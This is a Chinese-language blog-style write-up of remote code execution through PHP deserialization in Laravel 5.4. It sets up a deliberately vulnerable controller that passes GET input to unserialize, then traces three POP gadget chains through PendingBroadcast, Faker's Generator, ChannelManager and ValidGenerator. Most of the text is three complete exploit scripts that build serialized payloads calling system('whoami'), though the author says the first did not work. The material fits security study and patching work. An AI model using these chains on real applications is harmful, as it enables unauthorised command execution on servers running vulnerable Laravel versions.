环境安装
composer create-project --prefer-dist laravel/laravel blog "5.4.*"
添加路由
route/web.phpRoute::get('/seri', "seriController@seri");
添加控制器
app/Http/Controllers/SeriController.php
<?php
namespace App\Http\Controllers;
class SeriController extends Controller{
public function seri(){
if(isset($_GET['code'])){
$code = $_GET['code'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Laravel 5.4";
}
}
?>
![WSC2C)_AIEDFAK1LETOG8K.png
漏洞分析
链子一
首先全局搜索 __destruct()
/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
这里的 $this->events 和 $this->event 都是可控的
全局搜索 __call()
/vendor/fzaninotto/faker/src/Faker/Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
同样两个参数都是可控的
跟进 format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
传入的参数都是可控的,我们只要想把那法让前面的 $this->getFormatter($formatter) 的值为 system ,就可以进行命令执行了
跟进 getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
我们知道这里的 $this->formatters 也是可控的
则 $this->formatters[$formatter] 也可控
而 $formatter 就是 $dispatch
因此我们可以构造 $this->formatters = [‘$dispatch’ => ‘system’]
exp1
<?php
namespace Illuminate\Broadcasting
{
use Faker\Generator;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->event = $cmd;
$this->events = new Generator;
}
}
$seri = new PendingBroadcast('whoami');
echo (serialize($seri));
}
namespace Faker
{
class Generator
{
protected $formatters = array();
public function __construct()
{
$this->formatters = array('dispatch' => 'system');
}
}
}
?>
可恶啊,不知道为啥打不通
链子二
重新去寻找 __call 方法
/vendor/laravel/framework/src/Illuminate/Support/Manager.php
public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}
跟进 driver
public function driver($driver = null)
{
$driver = $driver ?: $this->getDefaultDriver();
// If the given driver has not been created before, we will create the instances
// here and cache it so we can return it next time very quickly. If there is
// already a driver created by this name, we'll just return that instance.
if (! isset($this->drivers[$driver])) {
$this->drivers[$driver] = $this->createDriver($driver);
}
return $this->drivers[$driver];
}
它们默认都是空,所以先跟进看看 createDriver
protected function createDriver($driver)
{
// We'll check to see if a creator method exists for the given driver. If not we
// will check for a custom driver creator, which allows developers to create
// drivers using their own customized driver creator Closure to create it.
if (isset($this->customCreators[$driver])) {
return $this->callCustomCreator($driver);
} else {
$method = 'create'.Str::studly($driver).'Driver';
if (method_exists($this, $method)) {
return $this->$method();
}
}
throw new InvalidArgumentException("Driver [$driver] not supported.");
}
跟进看看 callCustomCreator
protected function callCustomCreator($driver)
{
return $this->customCreators[$driver]($this->app);
}
查看文件我们知道这里的 $driver 和 $this->app 都是可控的
$driver 则是 $driver = $driver ?: $this->getDefaultDriver();
中得出的
跟进看看 getDefaultDriver
abstract public function getDefaultDriver();
getDefaultDriver 是一个 abstract 声明的抽象方法,因此我们需要去寻找到它的继承子类
/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager.php
public function getDefaultDriver()
{
return $this->defaultChannel;
}
emm,这里的 $this->defaultChannel 是protected,但是也是能修改,emmm,那就是能控制了
return $this->customCreators[$driver]($this->app);
中
另 $this->customCreators[$driver] == system
$this->app == whoami 即可执行命令
exp2
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo (serialize($seri));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->defaultChannel = 'shivers';
$this->customCreators = array('shivers' => 'system');
$this->app = $cmd;
}
}
}
?>
链子三
再找一个 __call
/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
这里的 $this->generator $this->maxRetries $this->validator 都是可控的
只要我们去满足$res = call_user_func_array(array($this->generator, $name), $arguments);
即可
因此我们需要找到一个 __call 方法能够返回可控制字符的对象,然后令 $this->generator 为这个对象,就等于控制了 $res
全局搜索找到
/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php
public function __call($method, $attributes)
{
return $this->default;
}
确实 $this->default 可控
exp3
<?php
namespace Illuminate\Broadcasting
{
use Faker\ValidGenerator;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ValidGenerator($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Faker
{
use Faker\DefaultGenerator;
class ValidGenerator
{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct($cmd)
{
$this->generator = new DefaultGenerator($cmd);
$this->maxRetries = 10000000;
$this->validator = 'system';
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
}
?>